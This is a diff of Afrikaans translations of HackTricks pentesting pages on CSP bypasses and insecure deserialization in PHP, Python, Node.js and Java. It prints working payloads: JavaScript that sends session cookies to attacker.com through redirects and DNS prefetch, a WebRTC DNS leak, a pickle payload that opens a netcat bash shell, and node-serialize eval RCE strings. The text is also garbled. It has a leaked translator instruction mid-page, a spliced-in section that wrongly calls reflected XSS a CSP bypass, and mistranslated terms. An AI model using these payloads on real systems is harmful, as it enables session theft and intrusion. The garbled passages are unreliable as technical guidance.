Daarbenewens het **wordpress** 'n **JSONP**-eindpunt in `/wp-json/wp/v2/users/1?_jsonp=data` wat die gestuurde **data** in die uitset sal **weerspieël** (met die beperking van slegs letters, syfers en kolletjies).
|
||||
|
||||
'n Aanvaller kan daardie eindpunt misbruik om 'n SOME-aanval teen WordPress te **genereer** en dit binne `<script s`rc=`/wp-json/wp/v2/users/1?_jsonp=some_attack></script>` in te sluit. Let daarop dat hierdie **script** sal **laai** omdat dit **toegelaat word deur 'self'**. Daarbenewens, en omdat WordPress geïnstalleer is, kan 'n aanvaller die **SOME-aanval** misbruik deur die **kwesbare** **terugroep** eindpunt wat die CSP **omseil** om meer voorregte aan 'n gebruiker te gee, 'n nuwe invoegtoepassing te installeer...\
|
||||
Vir meer inligting oor hoe om hierdie aanval uit te voer, kyk [https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/](https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/)
|
||||
'n Aanvaller kan daardie eindpunt misbruik om 'n SOME-aanval teen WordPress te **genereer** en dit binne `<script s`rc=`/wp-json/wp/v2/users/1?_jsonp=some_attack></script>` in te sluit. Let daarop dat hierdie **script** sal **laai** omdat dit **toegelaat word deur 'self'**. Daarbenewens, en omdat WordPress geïnstalleer is, kan 'n aanvaller die **SOME-aanval** misbruik deur die **kwesbare** **terugroep-eindpunt** wat die CSP **omseil** om meer regte aan 'n gebruiker te gee, 'n nuwe invoegtoepassing te installeer...\
|
||||
Vir meer inligting oor hoe om hierdie aanval uit te voer, kyk na [https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/](https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/)
|
||||
|
||||
## CSP Exfiltration Bypasses
|
||||
## CSP Uitlekverbygaan
|
||||
|
||||
As daar 'n streng CSP is wat jou nie toelaat om met eksterne bedieners te **interakteer nie**, is daar 'n paar dinge wat jy altyd kan doen om die inligting te eksfiltreer.
|
||||
As daar 'n streng CSP is wat jou nie toelaat om met eksterne bedieners te **interakteer nie**, is daar 'n paar dinge wat jy altyd kan doen om die inligting uit te lek.
|
||||
|
||||
### Location
|
||||
### Ligging
|
||||
|
||||
Jy kan eenvoudig die ligging opdateer om die geheime inligting aan die aanvaller se bediener te stuur:
|
||||
```javascript
|
||||
var sessionid = document.cookie.split('=')[1]+".";
|
||||
document.location = "https://attacker.com/?" + sessionid;
|
||||
```
|
||||
### Meta tag
|
||||
### Meta-tag
|
||||
|
||||
Jy kan omskakel deur 'n meta-tag in te spuit (dit is net 'n omskakeling, dit sal nie inhoud lek nie)
|
||||
```html
|
||||
<meta http-equiv="refresh" content="1; http://attacker.com">
|
||||
```
|
||||
### DNS Voorafskatting
|
||||
### DNS Voorafhaal
|
||||
|
||||
Om bladsye vinniger te laai, gaan webblaaier hostnames vooraf oplos na IP-adresse en hulle vir latere gebruik in die cache stoor.\
|
||||
Om bladsye vinniger te laai, gaan webblaaier hostnames na IP-adresse vooraf oplos en hulle vir later gebruik in 'n kasgeheue stoor.\
|
||||
Jy kan 'n webblaaier aandui om 'n hostname vooraf op te los met: `<link rel="dns-prefetch" href="iets.com">`
|
||||
|
||||
Jy kan hierdie gedrag misbruik om **gevoelige inligting via DNS-versoeke uit te sif**:
|
||||
Jy kan hierdie gedrag misbruik om **gevoelige inligting via DNS-versoeke uit te voer**:
|
||||
```javascript
|
||||
var sessionid = document.cookie.split('=')[1]+".";
|
||||
var body = document.getElementsByTagName('body')[0];
|
||||
body.innerHTML = body.innerHTML + "<link rel=\"dns-prefetch\" href=\"//" + sessionid + "attacker.ch\">";
|
||||
```
|
||||
### Ander manier:
|
||||
### Bypassing Content Security Policy (CSP)
|
||||
|
||||
Die volgende is inhoud uit 'n hakboek oor hak tegnieke. Die volgende inhoud is uit die lêer pentesting-web/content-security-policy-csp-bypass/README.md. Vertaal die relevante Engelse teks na Afrikaans en gee die vertaling terug met behoud van presies dieselfde markdown- en html-sintaks. Moet nie dinge soos kode, hak tegniek name, hak woord, wolk/SaaS platform name (soos Workspace, aws, gcp...), die woord 'leak', pentesting, en markdown etikette vertaal nie. Moet ook nie enige ekstra goed byvoeg buite die vertaling en markdown sintaks nie.
|
||||
#### Metode 2: Reflected XSS met CSP-bypass
|
||||
|
||||
In hierdie scenario kan ons 'n spesifieke CSP-bypass-tegniek gebruik wat bekend staan as 'reflected XSS'. Dit behels die insluiting van skadelike skrips in 'n URL wat deur die webtoepassing verwerk word en wat dan uitgevoer word deur die webblaaier van die slagoffer. Hierdie tegniek kan gebruik word om die CSP-beperkings te omseil en skadelike skrips op die bladsy uit te voer.
|
||||
```javascript
|
||||
const linkEl = document.createElement('link');
|
||||
linkEl.rel = 'prefetch';
|
||||
|
@ -718,9 +742,9 @@ Blykbaar werk hierdie tegniek nie in headless-browsers (bots)
|
|||
|
||||
### WebRTC
|
||||
|
||||
Op verskeie bladsye kan jy lees dat **WebRTC nie die `connect-src` beleid nagaan** van die CSP nie.
|
||||
Op verskeie bladsye kan jy lees dat **WebRTC nie die `connect-src` beleid van die CSP nagaan nie**.
|
||||
|
||||
Eintlik kan jy inligting _lek_ deur 'n _DNS versoek_. Kyk na hierdie kode:
|
||||
Eintlik kan jy inligting _lek_ deur 'n _DNS versoek_ te gebruik. Kyk na hierdie kode:
|
||||
```javascript
|
||||
(async()=>{p=new RTCPeerConnection({iceServers:[{urls: "stun:LEAK.dnsbin"}]});p.createDataChannel('');p.setLocalDescription(await p.createOffer())})()
|
||||
```
|
||||
|
@ -741,7 +765,7 @@ pc.createOffer().then((sdp)=>pc.setLocalDescription(sdp);
|
|||
* [https://csp-evaluator.withgoogle.com/](https://csp-evaluator.withgoogle.com)
|
||||
* [https://cspvalidator.org/](https://cspvalidator.org/#url=https://cspvalidator.org/)
|
||||
|
||||
## Skep outomaties CSP
|
||||
## Skep CSP outomaties
|
||||
|
||||
[https://csper.io/docs/generating-content-security-policy](https://csper.io/docs/generating-content-security-policy)
|
||||
|
||||
|
@ -761,16 +785,16 @@ pc.createOffer().then((sdp)=>pc.setLocalDescription(sdp);
|
|||
|
||||
Sluit aan by [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) bediener om te kommunikeer met ervare hackers en foutbeloningsjagters!
|
||||
|
||||
**Hacking Insights**\
|
||||
Gaan in gesprek met inhoud wat die opwinding en uitdagings van hack bied
|
||||
**Hack-insigte**\
|
||||
Betrokkenheid met inhoud wat die opwinding en uitdagings van hack bekyk
|
||||
|
||||
**Real-Time Hack News**\
|
||||
Bly op hoogte van die snelveranderende hackwêreld deur middel van nuus en insigte in werklikheid
|
||||
**Hack Nuus in Werklikheid**\
|
||||
Bly op hoogte van die vinnige hack-wêreld deur werklikheidsnuus en insigte
|
||||
|
||||
**Nuutste Aankondigings**\
|
||||
Bly ingelig met die nuutste foutbelonings wat bekendgestel word en kritieke platformopdaterings
|
||||
Bly ingelig met die nuutste foutbelonings wat bekendgestel word en belangrike platformopdaterings
|
||||
|
||||
**Sluit by ons aan op** [**Discord**](https://discord.com/invite/N3FrSbmwdy) en begin vandag saamwerk met top hackers!
|
||||
**Sluit by ons aan op** [**Discord**](https://discord.com/invite/N3FrSbmwdy) en begin saamwerk met top hackers vandag!
|
||||
|
||||
<details>
|
||||
|
||||
|
@ -778,10 +802,10 @@ Bly ingelig met die nuutste foutbelonings wat bekendgestel word en kritieke plat
|
|||
|
||||
Ander maniere om HackTricks te ondersteun:
|
||||
|
||||
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat** Kontroleer die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
|
||||
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Ontdek [**Die PEASS-familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFT's**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Deel jou hacktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
|
||||
* **Deel jou hack-truuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -6,7 +6,7 @@
|
|||
|
||||
Ander maniere om HackTricks te ondersteun:
|
||||
|
||||
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
|
||||
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ontdek [**Die PEASS-familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFT's**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
|
@ -16,19 +16,19 @@ Ander maniere om HackTricks te ondersteun:
|
|||
|
||||
## Basiese Inligting
|
||||
|
||||
**Serialisasie** word verstaan as die metode om 'n voorwerp in 'n formaat om te skakel wat bewaar kan word, met die doel om die voorwerp te stoor of dit as deel van 'n kommunikasieproses oor te dra. Hierdie tegniek word gewoonlik gebruik om te verseker dat die voorwerp op 'n latere tydstip herskep kan word, met behoud van sy struktuur en toestand.
|
||||
**Serialisasie** word verstaan as die metode om 'n voorwerp in 'n formaat om te skakel wat bewaar kan word, met die doel om die voorwerp te stoor of dit oor te dra as deel van 'n kommunikasieproses. Hierdie tegniek word dikwels gebruik om te verseker dat die voorwerp op 'n latere tydstip herskep kan word, met behoud van sy struktuur en toestand.
|
||||
|
||||
**Deserialisasie**, daarenteen, is die proses wat teen serialisasie teenwerk. Dit behels die neem van data wat in 'n spesifieke formaat gestruktureer is en dit terug te bou in 'n voorwerp.
|
||||
**Deserialisasie**, daarenteen, is die proses wat teen serialisasie teenwerk. Dit behels die neem van data wat in 'n spesifieke formaat gestruktureer is en dit terug te bou na 'n voorwerp.
|
||||
|
||||
Deserialisasie kan gevaarlik wees omdat dit potensieel **aanvallers toelaat om die geserialiseerde data te manipuleer om skadelike kode uit te voer** of onverwagte gedrag in die aansoek tydens die voorwerpherkonstruksieproses te veroorsaak.
|
||||
|
||||
## PHP
|
||||
|
||||
In PHP word spesifieke toor-metodes gebruik tydens die serialisasie- en deserialisasieprosesse:
|
||||
In PHP word spesifieke sielkundige metodes gebruik tydens die serialisasie- en deserialisasieprosesse:
|
||||
|
||||
* `__sleep`: Aangeroep wanneer 'n voorwerp geserialiseer word. Hierdie metode moet 'n lys van die name van alle eienskappe van die voorwerp wat geserialiseer moet word, teruggee. Dit word gewoonlik gebruik om hangende data te bevestig of soortgelyke skoonmaaktake uit te voer.
|
||||
* `__wakeup`: Geroep wanneer 'n voorwerp gedeserialiseer word. Dit word gebruik om enige databasisverbindings wat dalk verloor gegaan het tydens serialisasie te herstel en ander herinisialiseringstake uit te voer.
|
||||
* `__unserialize`: Hierdie metode word geroep in plaas van `__wakeup` (indien dit bestaan) wanneer 'n voorwerp gedeserialiseer word. Dit bied meer beheer oor die deserialisasieproses in vergelyking met `__wakeup`.
|
||||
* `__sleep`: Aangeroep wanneer 'n voorwerp geserialiseer word. Hierdie metode moet 'n reeks van die name van alle eienskappe van die voorwerp wat geserialiseer moet word, teruggee. Dit word dikwels gebruik om hangende data te bevestig of soortgelyke skoonmaaktake uit te voer.
|
||||
* `__wakeup`: Geroep wanneer 'n voorwerp gedeserialiseer word. Dit word gebruik om enige databasisverbindings wat dalk verloor is tydens serialisasie te herstel en ander herinisialiseringstake uit te voer.
|
||||
* `__unserialize`: Hierdie metode word geroep in plaas van `__wakeup` (indien dit bestaan) wanneer 'n voorwerp gedeserialiseer word. Dit gee meer beheer oor die deserialisasieproses in vergelyking met `__wakeup`.
|
||||
* `__destruct`: Hierdie metode word geroep wanneer 'n voorwerp op die punt staan om vernietig te word of wanneer die skripsie eindig. Dit word tipies gebruik vir skoonmaaktake, soos die sluit van lêerhandvatsels of databasisverbindings.
|
||||
* `__toString`: Hierdie metode laat toe dat 'n voorwerp as 'n string behandel word. Dit kan gebruik word vir die lees van 'n lêer of ander take gebaseer op die funksie-oproepe binne dit, wat effektief 'n teksuele voorstelling van die voorwerp bied.
|
||||
```php
|
||||
|
@ -86,10 +86,10 @@ This is a test<br />
|
|||
*/
|
||||
?>
|
||||
```
|
||||
Indien jy na die resultate kyk, kan jy sien dat die funksies **`__wakeup`** en **`__destruct`** aangeroep word wanneer die objek gedeserializeer word. Let daarop dat in verskeie tutoriale sal jy vind dat die **`__toString`** funksie aangeroep word wanneer 'n attribuut probeer gedruk word, maar blykbaar gebeur dit **nie meer nie**.
|
||||
Indien jy na die resultate kyk, kan jy sien dat die funksies **`__wakeup`** en **`__destruct`** geroep word wanneer die objek gedeserializeer word. Let daarop dat in verskeie tutoriale sal jy vind dat die **`__toString`** funksie geroep word wanneer jy probeer om 'n attribuut af te druk, maar blykbaar gebeur dit **nie meer nie**.
|
||||
|
||||
{% hint style="warning" %}
|
||||
Die metode **`__unserialize(array $data)`** word **in plaas van `__wakeup()`** aangeroep as dit geïmplementeer is in die klas. Dit stel jou in staat om die objek te unserialize deur die geserializeerde data as 'n array te voorsien. Jy kan hierdie metode gebruik om eienskappe te unserialize en enige nodige take uit te voer tydens deserialisering.
|
||||
Die metode **`__unserialize(array $data)`** word geroep **in plaas van `__wakeup()`** as dit geïmplementeer is in die klas. Dit laat jou toe om die objek te unserialize deur die geserializeerde data as 'n array te voorsien. Jy kan hierdie metode gebruik om eienskappe te unserialize en enige nodige take uit te voer tydens deserialisering.
|
||||
```php
|
||||
class MyClass {
|
||||
private $property;
|
||||
|
@ -114,7 +114,7 @@ Jy kan die PHP autoload-funksionaliteit misbruik om arbitrêre php-lêers en mee
|
|||
|
||||
### Serializing Referenced Values
|
||||
|
||||
As jy om een of ander rede 'n waarde wil serializeer as 'n **verwysing na 'n ander serializeerde waarde** kan jy:
|
||||
As jy om een of ander rede 'n waarde wil serializeer as 'n **verwysing na 'n ander waarde wat geserializeer is** kan jy:
|
||||
```php
|
||||
<?php
|
||||
class AClass {
|
||||
|
@ -129,7 +129,7 @@ $ser=serialize($o);
|
|||
```
|
||||
### PHPGGC (ysoserial vir PHP)
|
||||
|
||||
[**PHPGGC**](https://github.com/ambionics/phpggc) kan jou help om payloads te genereer om PHP-deserialisasies te misbruik.\
|
||||
[**PHPGGC**](https://github.com/ambionics/phpggc) kan jou help om nutslading te genereer om PHP-deserialisasies te misbruik.\
|
||||
Merk op dat in verskeie gevalle jy **nie 'n manier sal vind om 'n deserialisasie in die bronkode** van die aansoek te misbruik nie, maar jy mag dalk die kode van eksterne PHP-uitbreidings **misbruik.**\
|
||||
So, as jy kan, kyk na die `phpinfo()` van die bediener en **soek op die internet** (selfs op die **toestelle** van **PHPGGC**) vir moontlike toestelle wat jy kan misbruik.
|
||||
|
||||
|
@ -139,7 +139,7 @@ As jy 'n LFI gevind het wat net die lêer lees en nie die php-kode daarin uitvoe
|
|||
Vir meer inligting lees die volgende pos:
|
||||
|
||||
{% content-ref url="../file-inclusion/phar-deserialization.md" %}
|
||||
[phar-deserialization.md](../file-inclusion/phar-deserialization.md)
|
||||
[phar-deserialisasie.md](../file-inclusion/phar-deserialization.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## Python
|
||||
|
@ -155,7 +155,7 @@ def __reduce__(self):
|
|||
return (os.system,("netcat -c '/bin/bash -i' -l -p 1234 ",))
|
||||
print(base64.b64encode(pickle.dumps(P())))
|
||||
```
|
||||
Vir meer inligting oor ontsnapping uit **pickle-gevangenisse** kyk:
|
||||
Vir meer inligting oor ontsnapping uit **pickle gevangenisse** kyk:
|
||||
|
||||
{% content-ref url="../../generic-methodologies-and-resources/python/bypass-python-sandboxes/" %}
|
||||
[bypass-python-sandboxes](../../generic-methodologies-and-resources/python/bypass-python-sandboxes/)
|
||||
|
@ -163,13 +163,13 @@ Vir meer inligting oor ontsnapping uit **pickle-gevangenisse** kyk:
|
|||
|
||||
### Yaml **&** jsonpickle
|
||||
|
||||
Die volgende bladsy bied die tegniek om **'n onveilige deserialisasie in yaml-python-biblioteke te misbruik** en eindig met 'n instrument wat gebruik kan word om RCE-deserialisasie-lading te genereer vir **Pickle, PyYAML, jsonpickle en ruamel.yaml**:
|
||||
Die volgende bladsy bied die tegniek om **'n onveilige deserialisasie in yamls** python biblioteke te **misbruik** en eindig met 'n instrument wat gebruik kan word om RCE deserialisasie vrag vir **Pickle, PyYAML, jsonpickle en ruamel.yaml** te genereer:
|
||||
|
||||
{% content-ref url="python-yaml-deserialization.md" %}
|
||||
[python-yaml-deserialization.md](python-yaml-deserialization.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### Klasbesoedeling (Python Prototipe Besoedeling)
|
||||
### Klas Besoedeling (Python Prototipe Besoedeling)
|
||||
|
||||
{% content-ref url="../../generic-methodologies-and-resources/python/class-pollution-pythons-prototype-pollution.md" %}
|
||||
[class-pollution-pythons-prototype-pollution.md](../../generic-methodologies-and-resources/python/class-pollution-pythons-prototype-pollution.md)
|
||||
|
@ -179,10 +179,10 @@ Die volgende bladsy bied die tegniek om **'n onveilige deserialisasie in yaml-py
|
|||
|
||||
### JS Magic Funksies
|
||||
|
||||
JS het nie "sielkundige" funksies soos PHP of Python wat uitgevoer gaan word net vir die skep van 'n objek nie. Maar dit het sekere **funksies** wat **gereeld gebruik word selfs sonder om hulle direk te roep** soos **`toString`**, **`valueOf`**, **`toJSON`**.\
|
||||
As jy 'n deserialisasie misbruik kan jy hierdie funksies **kompromitteer om ander kode uit te voer** (moontlik prototipe-besoedeling misbruik) en jy kan arbitrêre kode uitvoer wanneer hulle geroep word.
|
||||
JS het nie "sielkundige" funksies soos PHP of Python wat uitgevoer gaan word net vir die skep van 'n objek nie. Maar dit het sekere funksies wat gereeld gebruik word selfs sonder om hulle direk te roep soos **`toString`**, **`valueOf`**, **`toJSON`**.\
|
||||
As jy 'n deserialisasie misbruik kan jy hierdie funksies **kompromitteer om ander kode uit te voer** (moontlik prototipe besoedeling misbruik) en jy kan arbitrêre kode uitvoer wanneer hulle geroep word.
|
||||
|
||||
'n Ander **"sielkundige" manier om 'n funksie te roep** sonder om dit direk te roep is deur **'n objek te kompromitteer wat deur 'n asynchrone funksie teruggegee word** (belofte). Want, as jy daardie **terugkeerobjek** omskep in 'n ander **belofte** met 'n **eienskap** genaamd **"then" van die tipe funksie**, sal dit uitgevoer word net omdat dit deur 'n ander belofte teruggegee word. _Volg_ [_**hierdie skakel**_](https://blog.huli.tw/2022/07/11/en/googlectf-2022-horkos-writeup/) _vir meer inligting._
|
||||
'n Ander "sielkundige" manier om 'n funksie te roep sonder om dit direk te roep is deur 'n objek wat deur 'n asynchrone funksie teruggegee word te kompromitteer (belofte). Want, as jy daardie terugkeerobjek in 'n ander belofte met 'n eienskap genaamd "then" van die tipe funksie omskep, sal dit uitgevoer word net omdat dit deur 'n ander belofte teruggegee word. _Volg_ [_**hierdie skakel**_](https://blog.huli.tw/2022/07/11/en/googlectf-2022-horkos-writeup/) _vir meer inligting._
|
||||
```javascript
|
||||
// If you can compromise p (returned object) to be a promise
|
||||
// it will be executed just because it's the return object of an async function:
|
||||
|
@ -239,7 +239,7 @@ Binne die lêer `node-serialize/lib/serialize.js` kan jy dieselfde vlag vind en
|
|||
|
||||
Soos jy kan sien in die laaste stuk kode, **as die vlag gevind word** word `eval` gebruik om die funksie te deserialiseer, so basies **word gebruikersinvoer binne die `eval`-funksie gebruik**.
|
||||
|
||||
Nietemin, **net die serializeer** van 'n funksie **sal dit nie uitvoer** nie, aangesien dit nodig sou wees dat 'n deel van die kode **`y.rce` aanroep** in ons voorbeeld en dit is hoogs **onwaarskynlik**.\
|
||||
Nietemin, **net die serializeer** van 'n funksie **sal dit nie uitvoer nie** aangesien dit nodig sou wees dat 'n deel van die kode **`y.rce` aanroep** in ons voorbeeld en dit is hoogs **onwaarskynlik**.\
|
||||
Hoe dan ook, jy kan net **die geserializeerde objek wysig** **deur 'n paar hakies by te voeg** om die geserializeerde funksie outomaties uit te voer wanneer die objek gedeserializeer word.\
|
||||
In die volgende stuk kode **let op die laaste hakies** en hoe die `unserialize`-funksie die kode outomaties sal uitvoer:
|
||||
```javascript
|
||||
|
@ -247,7 +247,7 @@ var serialize = require('node-serialize');
|
|||
var test = {"rce":"_$$ND_FUNC$$_function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) }); }()"};
|
||||
serialize.unserialize(test);
|
||||
```
|
||||
Soos voorheen aangedui, sal hierdie biblioteek die kode kry na `_$$ND_FUNC$$_` en dit **uitvoer** deur `eval` te gebruik. Daarom, om kode outomaties uit te voer, kan jy die deel wat die funksie skep verwyder en die laaste hakies en **net 'n JS-eenlynige kode uitvoer** soos in die volgende voorbeeld:
|
||||
Soos voorheen aangedui, sal hierdie biblioteek die kode kry na `_$$ND_FUNC$$_` en sal dit **uitvoer** deur `eval` te gebruik. Daarom, om kode outomaties uit te voer, kan jy die deel wat die funksie skep verwyder en die laaste hakies en **net 'n JS-eenlynige kode uitvoer** soos in die volgende voorbeeld:
|
||||
```javascript
|
||||
var serialize = require('node-serialize');
|
||||
var test = '{"rce":"_$$ND_FUNC$$_require(\'child_process\').exec(\'ls /\', function(error, stdout, stderr) { console.log(stdout) })"}';
|
||||
|
@ -306,13 +306,13 @@ Op die volgende bladsye kan jy inligting vind oor hoe om hierdie biblioteek te m
|
|||
|
||||
## Java - HTTP
|
||||
|
||||
In Java, **deserialisasie terugroepings word uitgevoer gedurende die deserialisasieproses**. Hierdie uitvoering kan uitgebuit word deur aanvallers wat bose payloads skep wat hierdie terugroepings aktiveer, wat kan lei tot die potensiële uitvoering van skadelike aksies.
|
||||
In Java, **deserialisasie terugroepings word uitgevoer gedurende die deserialisasieproses**. Hierdie uitvoering kan uitgebuit word deur aanvallers wat bose nuttige ladinge skep wat hierdie terugroepings aktiveer, wat kan lei tot die potensiële uitvoering van skadelike aksies.
|
||||
|
||||
### Vingerafdrukke
|
||||
|
||||
#### Witkas
|
||||
|
||||
Om potensiële serialisasie kwesbaarhede in die kodebasis te identifiseer, soek vir:
|
||||
Om potensiële serialisasie kwesbaarhede in die kodebasis te identifiseer, soek na:
|
||||
|
||||
* Klas wat die `Serializable`-koppelvlak implementeer.
|
||||
* Gebruik van `java.io.ObjectInputStream`, `readObject`, `readUnshare` funksies.
|
||||
|
@ -332,10 +332,10 @@ Vir swartkas toetsing, soek na spesifieke **handtekeninge of "Magic Bytes"** wat
|
|||
|
||||
* Heksadesimale patroon: `AC ED 00 05`.
|
||||
* Base64-patroon: `rO0`.
|
||||
* HTTP-terugvoer koppele met `Content-type` ingestel op `application/x-java-serialized-object`.
|
||||
* Heksadesimale patroon wat vooraf kompressie aandui: `1F 8B 08 00`.
|
||||
* Base64-patroon wat vooraf kompressie aandui: `H4sIA`.
|
||||
* Web lêers met die `.faces`-uitbreiding en die `faces.ViewState`-parameter. Die ontdekking van hierdie patrone in 'n webtoepassing behoort 'n ondersoek aan te spoor soos in die [berig oor Java JSF ViewState Deserialisasie](java-jsf-viewstate-.faces-deserialisasie.md) beskryf.
|
||||
* HTTP-terugvoer koppe met `Content-type` ingestel op `application/x-java-serialized-object`.
|
||||
* Heksadesimale patroon wat voorafgaande kompressie aandui: `1F 8B 08 00`.
|
||||
* Base64-patroon wat voorafgaande kompressie aandui: `H4sIA`.
|
||||
* Web lêers met die `.faces`-uitbreiding en die `faces.ViewState`-parameter. Die ontdekking van hierdie patrone in 'n webtoepassing behoort 'n ondersoek aan te spoor soos in die [pos oor Java JSF ViewState Deserialisasie](java-jsf-viewstate-.faces-deserialisasie.md) beskryf.
|
||||
```
|
||||
javax.faces.ViewState=rO0ABXVyABNbTGphdmEubGFuZy5PYmplY3Q7kM5YnxBzKWwCAAB4cAAAAAJwdAAML2xvZ2luLnhodG1s
|
||||
```
|
||||
|
@ -345,40 +345,40 @@ As jy wil **leer oor hoe 'n Java Gedeserializeerde aanval werk** moet jy kyk na
|
|||
|
||||
#### Witboks-toets
|
||||
|
||||
Jy kan nagaan of daar enige geïnstalleerde toepassings met bekende kwesbaarhede is.
|
||||
Jy kan nagaan of daar enige toepassing geïnstalleer is met bekende kwesbaarhede.
|
||||
```bash
|
||||
find . -iname "*commons*collection*"
|
||||
grep -R InvokeTransformer .
|
||||
```
|
||||
Jy kan probeer om **alle biblioteke** wat bekend is om kwesbaar te wees te **ondersoek** en wat 'n uitbuiting kan bied vir [**Ysoserial**](https://github.com/frohoff/ysoserial). Of jy kan die biblioteke nakyk wat aangedui word op [Java-Deserialization-Cheat-Sheet](https://github.com/GrrrDog/Java-Deserialization-Cheat-Sheet#genson-json).\
|
||||
Jy kan ook [**gadgetinspector**](https://github.com/JackOfMostTrades/gadgetinspector) gebruik om te soek na moontlike gadget-reekse wat uitgebuit kan word.\
|
||||
Wanneer jy **gadgetinspector** hardloop (nadat dit gebou is), moenie bekommerd wees oor die tonne waarskuwings/foute wat dit deurgaan nie en laat dit voltooi. Dit sal al die bevindinge skryf onder _gadgetinspector/gadget-results/gadget-chains-jaar-maand-dag-uur-min.txt_. Let asseblief daarop dat **gadgetinspector nie 'n uitbuiting sal skep nie en dit moontlik vals positiewe kan aandui**.
|
||||
Jy kan probeer om **alle biblioteke** wat bekend is om kwesbaar te wees te **ondersoek** en wat [**Ysoserial**](https://github.com/frohoff/ysoserial) 'n aanval vir kan voorsien. Of jy kan die biblioteke nagaan wat aangedui word op [Java-Deserialization-Cheat-Sheet](https://github.com/GrrrDog/Java-Deserialization-Cheat-Sheet#genson-json).\
|
||||
Jy kan ook [**gadgetinspector**](https://github.com/JackOfMostTrades/gadgetinspector) gebruik om te soek na moontlike gadget-reeks wat uitgebuit kan word.\
|
||||
Wanneer jy **gadgetinspector** hardloop (nadat dit gebou is) moenie bekommerd wees oor die tonne waarskuwings/foute wat dit deurgaan nie en laat dit voltooi. Dit sal al die bevindinge skryf onder _gadgetinspector/gadget-results/gadget-chains-jaar-maand-dag-uur-min.txt_. Let asseblief daarop dat **gadgetinspector nie 'n aanval sal skep nie en dit kan valse positiewe aandui**.
|
||||
|
||||
#### Swart Blok Toets
|
||||
|
||||
Deur die Burp-uitbreiding [**gadgetprobe**](java-dns-deserialization-and-gadgetprobe.md) te gebruik, kan jy **identifiseer watter biblioteke beskikbaar is** (en selfs die weergawes). Met hierdie inligting kan dit **makliker wees om 'n lading te kies** om die kwesbaarheid uit te buit.\
|
||||
[**Lees hierdie om meer te leer oor GadgetProbe**](java-dns-deserialization-and-gadgetprobe.md#gadgetprobe)**.**\
|
||||
[**Lees hierdie om meer oor GadgetProbe te leer**](java-dns-deserialization-and-gadgetprobe.md#gadgetprobe)**.**\
|
||||
GadgetProbe fokus op **`ObjectInputStream` deserialisasies**.
|
||||
|
||||
Deur die Burp-uitbreiding [**Java Deserialization Scanner**](java-dns-deserialization-and-gadgetprobe.md#java-deserialization-scanner) te gebruik, kan jy **kwesbare biblioteke identifiseer** wat uitgebuit kan word met ysoserial en hulle **uitbuit**.\
|
||||
[**Lees hierdie om meer te leer oor Java Deserialization Scanner.**](java-dns-deserialization-and-gadgetprobe.md#java-deserialization-scanner)\
|
||||
[**Lees hierdie om meer oor Java Deserialization Scanner te leer.**](java-dns-deserialization-and-gadgetprobe.md#java-deserialization-scanner)\
|
||||
Java Deserialization Scanner fokus op **`ObjectInputStream`** deserialisasies.
|
||||
|
||||
Jy kan ook [**Freddy**](https://github.com/nccgroup/freddy) gebruik om **deserialisasie** kwesbaarhede in **Burp** op te spoor. Hierdie invoegtoepassing sal **nie net `ObjectInputStream`** verwante kwesbaarhede opspoor nie, maar ook kwesbaarhede vanaf **Json** en **Yml** deserialisasie biblioteke. In aktiewe modus sal dit probeer om dit te bevestig deur slaap- of DNS-ladings te gebruik.\
|
||||
Jy kan ook [**Freddy**](https://github.com/nccgroup/freddy) gebruik om **deserialisasie** kwesbaarhede in **Burp** op te spoor. Hierdie invoegtoepassing sal **nie net `ObjectInputStream`** verwante kwesbaarhede opspoor nie, maar ook kwesbaarhede van **Json** en **Yml** deserialisasie biblioteke. In aktiewe modus sal dit probeer om dit te bevestig deur slaap of DNS-ladings te gebruik.\
|
||||
[**Meer inligting oor Freddy kan hier gevind word.**](https://www.nccgroup.com/us/about-us/newsroom-and-events/blog/2018/june/finding-deserialisation-issues-has-never-been-easier-freddy-the-serialisation-killer/)
|
||||
|
||||
**Serialisasie Toets**
|
||||
|
||||
